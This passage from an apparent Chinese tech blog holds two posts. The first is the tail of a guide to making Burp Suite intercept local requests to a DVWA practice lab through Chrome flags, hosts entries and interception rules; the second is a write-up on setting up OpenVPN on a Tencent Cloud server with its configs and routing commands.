通过修改后的快捷方式启动 Chrome
访问 chrome://version
确认命令行中包含 --proxy-bypass-list="<-loopback>"

第三步：验证 Hosts 配置

在命令提示符中执行：ping dvwa.local
确认解析到 127.0.0.1

第四步：验证 Burp 代理工作

在浏览器中访问 http://burp
应该看到 “Welcome to Burp Suite Professional” 页面
如果能看到，说明代理正常工作

第五步：验证拦截功能

在 Burp Suite 中，确保 Intercept is on
在浏览器中访问 http://dvwa.local/dvwa
应该在 Burp Suite 的 Intercept 标签中看到请求被拦截

第六步：完整测试

在 DVWA 登录页面输入用户名和密码
点击 Login 按钮

在 Burp Suite 中应该能看到：

1 2	GET /dvwa/vulnerabilities/brute/?username=xxx&password=xxx&Login=Login HTTP/1.1 Host: dvwa.local

故障排查

问题 1：Chrome 启动参数不生效

症状：

在 chrome://version 中看不到 --proxy-bypass-list 参数

原因：

可能有其他 Chrome 进程在后台运行
没有通过修改的快捷方式启动

解决方案：

打开任务管理器，结束所有 chrome.exe 进程
确保只通过修改的快捷方式启动 Chrome
不要点击任务栏上的 Chrome 图标

问题 2：Hosts 文件修改不生效

症状：

ping dvwa.local 无法解析或解析错误

原因：

Hosts 文件格式错误（多余的空格、Tab 等）
DNS 缓存未刷新
没有管理员权限保存

解决方案：

确保 hosts 文件格式正确：
1
127.0.0.1 dvwa.local
（IP 和域名之间至少一个空格）
执行：
1
ipconfig /flushdns
以管理员身份重新编辑和保存 hosts 文件

问题 3：Burp 仍然拦截不到请求

症状：

访问 http://burp 可以看到欢迎页面
但访问 http://dvwa.local/dvwa 拦截不到

可能原因与解决方案：

原因 A：Intercept 规则配置错误

检查：

进入 Settings → Tools → Proxy
找到 Request interception rules
确认 ✅ “Intercept requests based on the following rules” 已勾选
确认 ❌ “And URL is in target scope” 未勾选

原因 B：浏览器缓存问题

解决：

清除浏览器缓存（Ctrl + Shift + Delete）
重启浏览器
再次测试

原因 C：HTTPS 重定向

解决：

确保访问的是 http://dvwa.local（HTTP，不是 HTTPS）
如果自动跳转到 HTTPS，需要配置 Burp 的 HTTPS 拦截

问题 4：dvwa.local 无法访问

症状：

浏览器显示 “无法访问此网站” 或 “ERR_CONNECTION_REFUSED”

原因：

DVWA 服务器未启动
Apache/Nginx 没有配置虚拟主机

解决方案：

配置 Apache 虚拟主机（可选）

编辑 Apache 配置文件（如 httpd.conf 或 httpd-vhosts.conf）

添加虚拟主机配置：

:80>
    ServerName dvwa.local
    DocumentRoot "C:/xampp/htdocs"
    "C:/xampp/htdocs">
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted

重启 Apache 服务

最佳实践建议

1. 同时使用三个方案

推荐组合：

✅ Chrome 启动参数（--proxy-bypass-list="<-loopback>"）
✅ Hosts 文件配置（dvwa.local）
✅ Burp 拦截规则配置（取消勾选 Scope 限制）

这样可以确保：

Chrome 不会绕过本地代理
使用自定义域名避免 localhost 特殊处理
Burp 能拦截所有请求

2. 创建专用的 Chrome 配置文件

为渗透测试创建单独的 Chrome 配置文件：

1	"C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\ChromePentest" --proxy-bypass-list="<-loopback>"

这样可以避免影响日常使用的 Chrome 配置。

3. 使用 Firefox 替代方案

如果 Chrome 配置太麻烦，可以使用 Firefox：

Firefox 对代理的支持更好
不会自动绕过 localhost
配置相对简单

4. 固定 Burp 监听端口

统一使用固定端口（如 8082），避免频繁修改配置。

配置检查清单

在开始渗透测试前，确保以下所有项都已正确配置：

Chrome 配置

已创建带启动参数的快捷方式
快捷方式包含 --proxy-bypass-list="<-loopback>"
通过该快捷方式启动 Chrome
在 chrome://version 中确认参数生效

Hosts 配置

以管理员身份编辑 hosts 文件
添加 127.0.0.1 dvwa.local 条目
保存文件
执行 ipconfig /flushdns
用 ping dvwa.local 验证

Burp Suite 配置

Proxy Listener 运行在 127.0.0.1:8082
✅ “Intercept requests based on the following rules” 已勾选
❌ “And URL is in target scope” 未勾选
Intercept is on（拦截已开启）

SwitchyOmega 配置

代理服务器：localhost:8082
不代理列表只包含 [::1]
当前情景模式：burp suite

验证测试

访问 http://burp 能看到欢迎页面
访问 http://dvwa.local/dvwa 能看到 DVWA
登录操作能被 Burp 拦截
HTTP History 中能看到请求记录

总结

解决 Burp Suite 无法拦截 localhost 请求的完整方案包括：

修改 Chrome 启动参数
- 添加 --proxy-bypass-list="<-loopback>" 参数
- 禁用浏览器对 localhost 的代理绕过
配置 Hosts 文件
- 添加 127.0.0.1 dvwa.local 映射
- 使用自定义域名访问 DVWA
正确配置 Burp 拦截规则
- 勾选 “Intercept requests based on the following rules”
- 取消勾选 “And URL is in target scope”
- 可选勾选 “Or HTTP method Does not match”

这三个方案必须同时应用才能彻底解决问题。

附录：其他浏览器配置

Microsoft Edge

Edge 基于 Chromium，配置方法与 Chrome 相同：

1	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --proxy-bypass-list="<-loopback>"

Firefox

Firefox 对代理支持较好，通常不需要特殊配置：

打开 Firefox 设置
搜索 “代理”
选择 “手动代理配置”
HTTP 代理：127.0.0.1，端口：8082
勾选 “也将此代理用于 HTTPS”
不要在 “不使用代理” 中添加 localhost

文档版本：1.0
最后更新：2025-11-19
适用环境：Windows 10/11 + Chrome/Edge + Burp Suite Professional/Community

搭建openvpn

2023-06-11T17:30:31.000Z

购买腾讯云服务器：服务器

xshell服务器连接工具教程：xshell

搭建vpn的教程参考：

搭建vpn

一看就懂的保姆级教程：openvn设置（亲测通过）

在 Windows Server2019 上搭建 OpenVPN 服务端

（参考了很多资料，大概有十几篇，大多都没有保存有网址，只记下这三个，并非有意不列出全部出处，如有侵权，麻烦告知，抱歉抱歉，不到最后我也不知道参考的是否有用，网页太多就关掉了许多）

搭建vpn的时候参考上面链接的教程就行

其中有一个坑，客户端的client.ovpn的配置中，remote 43.156.116.201 1194 #这里需要写的是openvpn服务器IP地址端口号，也就是购买的服务器的公网ip

环境：
服务器：腾讯云服务器
客户端：在本机windows10安装openvpn客户端

其中五个重要的配置如下：

一：server.conf的配置如下：

port 1198                               #端口
proto tcp                               #协议
dev tun                                 #采用路由隧道模式tun
ca ca.crt                               #ca证书文件位置
cert server.crt                         #服务端公钥名称
key server.key                          #服务端私钥名称
dh dh.pem                               #交换证书
server 10.8.0.0 255.255.255.0           #给客户端分配地址池，注意：不能和VPN服务器内网网段有相同"
push "route 0.0.0.0 0.0.0.0"
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
push "route 192.168.0.0 255.255.255.0"   #允许客户端访问内网172.16.0.0网段
ifconfig-pool-persist ipp.txt           #地址池记录文件位置
keepalive 10 120                        #存活时间，10秒ping一次,120 如未收到响应则视为断线
max-clients 100                         #最多允许100个客户端连接
status openvpn-status.log               #日志记录位置
verb 3                                  #openvpn版本
client-to-client                        #客户端与客户端之间支持通信
log /var/log/openvpn.log                #openvpn日志记录位置
persist-key     #通过keepalive检测超时后，重新启动VPN，不重新读取keys，保留第一次使用的keys。
persist-tun     #检测超时后，重新启动VPN，一直保持tun是linkup的。否则网络会先linkdown然后再linkup
client-config-dir /etc/openvpn/ccd
auth-nocache
cipher AES-256-GCM
ncp-ciphers AES-256-GCM:AES-128-GCM

二：client.ovpn的配置如下：

client                  #指定当前VPN是客户端
dev tun                 #使用tun隧道传输协议
proto tcp               #使用udp协议传输数据
remote 43.156.116.201 1198 #openvpn服务器IP地址端口号
resolv-retry infinite   #断线自动重新连接，在网络不稳定的情况下非常有用
nobind                  #不绑定本地特定的端口号
ca ca.crt               #指定CA证书的文件路径
cert client.crt         #指定当前客户端的证书文件路径
key client.key          #指定当前客户端的私钥文件路径
verb 3                  #指定日志文件的记录详细级别，可选0-9，等级越高日志内容越详细
persist-key     #通过keepalive检测超时后，重新启动VPN，不重新读取keys，保留第一次使用的keys
persist-tun     #检测超时后，重新启动VPN，一直保持tun是linkup的。否则网络会先linkdown然后再linkup
remote-cert-tls server
auth-nocache
cipher AES-256-GCM
ncp-ciphers AES-256-GCM:AES-128-GCM

三：验证

其他步骤都按照教程完成后，右击WiFi图标–打开“网路和Internet设置”–高级网络设置–更改适配器选项

打开界面后可以看到OpenVPN TAP-Windows6的红色叉×已经没有了

然后双击自己正在连接的网络，选择“属性”–共享–勾上“允许其他网络用户通过此计算机的Internet连接来连接”以及“允许其他网络用户控制或禁用共享的Internet连接”–家庭网络连接选择“OpenVPN TAP-Windows6”
连接成功后，在windows中打开cmd输入外网的公网地址，如果能ping通，配置就是没有问题的，openvpn就搭建成功啦，但是现在还是无法连接外网

还需要进行路由配置

四：修改了etc/sysctl.conf的配置：

参考链接

将net.ipv4.ip_forward = 0 改成 net.ipv4.ip_forward = 1

五：修改路由配置

参考连接

我的内网ip是：192.168.8.4

（腾讯云服务器）外网的ip是：（公）43.156.116.201 （内）10.0.0.7

我在windows端输入的cmd命令是

route delete 0.0.0.0

route add 0.0.0.0 mask 0.0.0.0 10.8.0.5 -p

route add 192.168.0.0 mask 255.255.255.0 192.168.8.1 -p

这里输入的10.8.0.5和192.168.8.1是在server.conf中设置的给客户端分配地址池的网关以及你的内网地址的网关

具体可以看route print中的Gateway一列,如下：

Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.8.1      192.168.8.4     55
          0.0.0.0          0.0.0.0         10.8.0.5         10.8.0.6     26
         10.8.0.0    255.255.255.0         10.8.0.5         10.8.0.6    281
         10.8.0.4  255.255.255.252         On-link          10.8.0.6    281
         10.8.0.6  255.255.255.255         On-link          10.8.0.6    281
         10.8.0.7  255.255.255.255         On-link          10.8.0.6    281

其中前面两行就是内网和外网的路由信息，上面需要输入的信息就是Gateway列的192.168.8.1和10.8.0.5

至此配置完成，就可以成功连接外网啦